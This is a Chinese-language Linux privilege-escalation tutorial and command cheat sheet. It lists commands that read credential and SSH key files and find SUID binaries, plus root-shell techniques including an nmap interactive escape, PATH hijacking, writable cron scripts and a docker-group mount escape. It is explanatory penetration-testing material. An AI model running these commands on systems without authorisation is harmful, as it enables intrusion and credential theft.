参考链接:https://xz.aliyun.com/t/7924
渗透的本质是信息搜集,提权第一步也是要尽可能的搜集信息。大概思路是通过信息搜集查找可利用的文件/脚本/软件/用户/内核漏洞/恶意劫持/特定平台漏洞/框架漏洞/组件/等,写入或执行恶意命令/脚本/shell/添加高权限用户,提权成功,然后进一步利用。
在目标机器上,需要搜集的常规信息如下:
内核,操作系统,设备信息
uname -a 打印所有可用的系统信息
uname -r 内核版本
uname -n 系统主机名。
uname -m 查看系统内核架构(64位/32位)
hostname 系统主机名
cat /proc/version 内核信息
cat /etc/*-release 分发信息
cat /etc/issue 分发信息
cat /proc/cpuinfo CPU信息
cat /etc/lsb-release # Debian
cat /etc/redhat-release # Redhat
ls /boot | grep vmlinuz-
用户和群组
cat /etc/passwd 列出系统上的所有用户
cat /var/mail/root
cat /var/spool/mail/root
cat /etc/group 列出系统上的所有组
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' 列出所有的超级用户账户
whoami 查看当前用户
w 谁目前已登录,他们正在做什么
last 最后登录用户的列表
lastlog 所有用户上次登录的信息
lastlog –u %username% 有关指定用户上次登录的信息
lastlog |grep -v "Never" 以前登录用户的完
用户权限信息
whoami 当前用户名
id 当前用户信息
cat /etc/sudoers 谁被允许以root身份执行
sudo -l 当前用户可以以root身份执行操作
环境信息
env 显示环境变量
set 现实环境变量
echo %PATH 路径信息
history 显示当前用户的历史命令记录
pwd 输出工作目录
cat /etc/profile 显示默认系统变量
cat /etc/shells 显示可用的shellrc
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
进程和服务
ps aux
ps -ef
top
cat /etc/services查看以root 运行的进程
ps aux | grep root
ps -ef | grep root
查看安装的软件
ls -alh /usr/bin/
ls -alh /sbin/
ls -alh /var/cache/yum/
dpkg -l
服务/插件
检查有没有不安全的服务配置,和一些有漏洞的插件。
cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^. r./
计划任务
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root
有无明文存放用户密码
grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find , -name "*.php" -print0 | xargs -0 grep -i -n "var $password"
有无ssh 私钥
cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key
查看与当前机器通信的其他用户或者主机
lsof -i
lsof -i :80
grep 80 /etc/services
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig --list
chkconfig --list | grep 3:on
last
w
日志文件
cat /var/log/boot.log
cat /var/log/cron
cat /var/log/syslog
cat /var/log/wtmp
cat /var/run/utmp
cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chttp.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages
cat /var/log/secure
cat /var/log/syslog
cat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log
ls -alh /var/lib/dhcp3/
ls -alh /var/log/postgresql/
ls -alh /var/log/proftpd/
ls -alh /var/log/samba/Note: auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp
交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')
/bin/sh -i
可提权SUID && GUID
参考资料 https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/find / -perm -1000 -type d 2>/dev/null # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here.
find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the group, not the user who started it.
find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the owner, not the user who started it.find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID
for i inlocate -r "bin$"
; do find $i ( -perm -4000 -o -perm -2000 ) -type f 2>/dev/null; done # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search)find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied)
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} ; 2>/dev/null
查看可写/执行目录
find / -writable -type d 2>/dev/null # world-writeable folders
find / -perm -222 -type d 2>/dev/null # world-writeable folders
find / -perm -o w -type d 2>/dev/null # world-writeable foldersfind / -perm -o x -type d 2>/dev/null # world-executable folders
find / ( -perm -o w -perm -o x ) -type d 2>/dev/null # world-writeable & executable folders
查看安装过的工具
find / -name perl*
find / -name python*
find / -name gcc*
...
有了以上搜集到的信息做基础,才方便实施具体的提权手段。
内核提权漏洞
如果目标机器的版本过低,内核漏洞提权是最容易想到的方法。由于kali内置了exploit-db漏洞库的本地副本,可以使用searchsploit命令来快速检索内核版本响应漏洞。
顺带一提最经典的脏牛漏洞,CVE-2016-5195。
内核漏洞利用过程有一些坑点,最显著的就是环境问题,因为不知道目标机器上的环境缺啥少啥,很多时候在本地编译运行无比丝滑,但是在目标机器上总会出现莫名其妙的错误。而且很多exp都不是很稳定,提权时候一不小心就会使得目标机器崩掉,因此最好将内核提权作为最后的底牌来使用。
suid提权
suid全称是Set owner User ID up on execution。这是Linux给可执行文件的一个属性。通俗的理解为其他用户执行这个程序的时候可以用该程序所有者/组的权限。需要注意的是,只有程序的所有者是0号或其他super user,同时拥有suid权限,才可以提权。
以下命令可以找到正在系统上运行的所有SUID可执行文件。
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
比如nmap旧版本有一个功能,用户可以在交互模式下运行nmap,并逃逸到shell。 如果nmap设置了SUID位,它将以root权限运行,我们可以通过它的交互模式访问“root”shell。
$ nmap –interactive - 运行nmap交互模式
$ !sh - 允许从nmap shell逃逸到系统shell
环境变量提权
$PATH是Linux和类Unix操作系统中的环境变量,它指定了存储所有可执行程序的bin和sbin目录。当用户在终端运行任何命令时,它向shell发出请求,在环境变量的帮助下搜索可执行文件以响应用户执行的命令。超级用户通常还具有/sbin和/usr /sbin条目,以便轻松执行系统管理命令。
使用echo命令就能轻易的查看和当前用户相关的环境变量。
可见敲ls命令执行的其实是"./ls"这条命令,即执行当前目录下名为ls的可执行文件。
据此可以和具有suid权限的文件结合利用,如suid的文件调用某系统命令,可以通过修改环境变量劫持此条命令,并构造恶意文件使程序执行我们想要的结果,可参考链接:https://xz.aliyun.com/t/2767
计划任务提权
系统内可能会有一些定时执行的任务,一般这些任务由crontab来管理,具有所属用户的权限。非root权限的用户是不可以列出root用户的计划任务的。但是/etc/内系统的计划任务可以被列出。
ls -l /etc/cron*
默认这些程序以root权限执行,如果有幸遇到一个把其中脚本配置成任意用户可写的管理员,我们就可以修改脚本等回连rootshell了。
利用第三方服务
有一些服务器的服务会被配置成对内网或者对本机开放。通过对他们的攻击我们有机会接触更多的敏感文件,或是运气足够好碰上一个远程root漏洞。
netstat -antup#查看各种网络服务
如果多用户借助docker共用一台机器的情况下,并且当前用户具有docker组的权限,可以直接运行一个镜像获得镜像里面的root权限,去修改镜像外的/etc/passwd来提权。
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
cat /etc/passwd
docker内部的/etc/passwd和外部的/etc/passwd一样,所以,可以直接往里面添加个用户。实现提权。
其他第三方软件及服务提权可参考链接:https://atsud0.me/2020/04/14/...
除了以上这些,在实际应用中还有很多,比如直接sudo,或者从shadow文件中拿到hash破解,或者各种猜root密码。总之要梳理体系,深入本质,灵活运用。